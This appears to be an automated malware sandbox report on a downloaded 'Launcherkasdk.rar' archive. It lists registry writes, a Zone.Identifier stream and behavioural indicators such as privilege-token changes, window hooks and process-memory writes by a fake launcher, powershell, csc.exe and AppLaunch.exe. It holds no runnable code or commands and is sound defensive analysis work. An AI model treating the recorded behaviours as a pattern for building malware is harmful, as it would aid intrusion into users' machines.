Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz!	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "651"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 08b7020b6ec9da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "651"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "262144"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch\OpenSearchDescriptionData = baffc49ee383374a8abf67e99635ea1e0100000053b06a1abe27334898108231552c52911f0000001e0000006700690074006800750062002e0063006f006d0000001f0000004c000000680074007400700073003a002f002f006700690074006800750062002e0063006f006d002f006f00700065006e007300650061007200630068002e0078006d006c0000001f0062001600000047006900740048007500620000001f0000000a000000000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "2489"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "426369200"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = defc4e046ec9da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\www.bing.com	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\LastClosedWidth = "1280"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe

NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\Launcherkasdk.rar:Zone.Identifier firefox.exe

description	ioc	process
File created	C:\Users\Admin\Downloads\Launcherkasdk.rar:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe0zkmbcv.exepowershell.exeUpdater.exepowershell.exesvchost.exeAppLaunch.exe

pid	process
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4452	0zkmbcv.exe
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
4452	0zkmbcv.exe
5584	Updater.exe
5816	powershell.exe
5816	powershell.exe
5816	powershell.exe
5816	powershell.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
5584	Updater.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
2992	svchost.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe
4248	AppLaunch.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exetaskmgr.exe

pid process

308 OpenWith.exe
3536 taskmgr.exe

pid	process
308	OpenWith.exe
3536	taskmgr.exe

Suspicious behavior: MapViewOfSection 15 IoCs

Processes:

MicrosoftEdgeCP.exe

pid	process
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exefirefox.exe7zG.exe7zG.exe7zG.exeLaucnherfkaskdk.exepowershell.exepowershell.exe0zkmbcv.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4924	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4924	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4924	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4924	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2768	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2768	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	3804	MicrosoftEdge.exe
Token: SeDebugPrivilege	3804	MicrosoftEdge.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeRestorePrivilege	2700	7zG.exe
Token: 35	2700	7zG.exe
Token: SeSecurityPrivilege	2700	7zG.exe
Token: SeSecurityPrivilege	2700	7zG.exe
Token: SeRestorePrivilege	3672	7zG.exe
Token: 35	3672	7zG.exe
Token: SeSecurityPrivilege	3672	7zG.exe
Token: SeSecurityPrivilege	3672	7zG.exe
Token: SeRestorePrivilege	700	7zG.exe
Token: 35	700	7zG.exe
Token: SeSecurityPrivilege	700	7zG.exe
Token: SeSecurityPrivilege	700	7zG.exe
Token: SeDebugPrivilege	5384	firefox.exe
Token: SeDebugPrivilege	5116	Laucnherfkaskdk.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeIncreaseQuotaPrivilege	1016	powershell.exe
Token: SeSecurityPrivilege	1016	powershell.exe
Token: SeTakeOwnershipPrivilege	1016	powershell.exe
Token: SeLoadDriverPrivilege	1016	powershell.exe
Token: SeSystemProfilePrivilege	1016	powershell.exe
Token: SeSystemtimePrivilege	1016	powershell.exe
Token: SeProfSingleProcessPrivilege	1016	powershell.exe
Token: SeIncBasePriorityPrivilege	1016	powershell.exe
Token: SeCreatePagefilePrivilege	1016	powershell.exe
Token: SeBackupPrivilege	1016	powershell.exe
Token: SeRestorePrivilege	1016	powershell.exe
Token: SeShutdownPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeSystemEnvironmentPrivilege	1016	powershell.exe
Token: SeRemoteShutdownPrivilege	1016	powershell.exe
Token: SeUndockPrivilege	1016	powershell.exe
Token: SeManageVolumePrivilege	1016	powershell.exe
Token: 33	1016	powershell.exe
Token: 34	1016	powershell.exe
Token: 35	1016	powershell.exe
Token: 36	1016	powershell.exe
Token: SeDebugPrivilege	4452	0zkmbcv.exe
Token: SeDebugPrivilege	5816	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	5816	powershell.exe
Token: SeIncreaseQuotaPrivilege	5816	powershell.exe
Token: SeSecurityPrivilege	5816	powershell.exe
Token: SeTakeOwnershipPrivilege	5816	powershell.exe
Token: SeLoadDriverPrivilege	5816	powershell.exe
Token: SeSystemtimePrivilege	5816	powershell.exe
Token: SeBackupPrivilege	5816	powershell.exe
Token: SeRestorePrivilege	5816	powershell.exe
Token: SeShutdownPrivilege	5816	powershell.exe
Token: SeSystemEnvironmentPrivilege	5816	powershell.exe
Token: SeUndockPrivilege	5816	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

firefox.exe7zG.exe7zG.exe7zG.exetaskmgr.exeLaucnherfkaskdk.exe

pid	process
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
2700	7zG.exe
3672	7zG.exe
700	7zG.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
5116	Laucnherfkaskdk.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

firefox.exetaskmgr.exe

pid	process
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe
3536	taskmgr.exe

Suspicious use of SetWindowsHookEx 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exefirefox.exeOpenWith.execsc.exeAppLaunch.execsc.execsc.execsc.execsc.execsc.execsc.execsc.execsc.execsc.execsc.execsc.execsc.exe

pid	process
3804	MicrosoftEdge.exe
1672	MicrosoftEdgeCP.exe
4924	MicrosoftEdgeCP.exe
1672	MicrosoftEdgeCP.exe
2168	MicrosoftEdgeCP.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
308	OpenWith.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
5384	firefox.exe
308	csc.exe
4248	AppLaunch.exe
5644	csc.exe
1192	csc.exe
1348	csc.exe
5500	csc.exe
3980	csc.exe
2536	csc.exe
2716	csc.exe
236	csc.exe
680	csc.exe
3376	csc.exe
4532	csc.exe
2476	csc.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

MicrosoftEdgeCP.exefirefox.exefirefox.exe

description	pid	process	target process
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 3980	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 4572	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
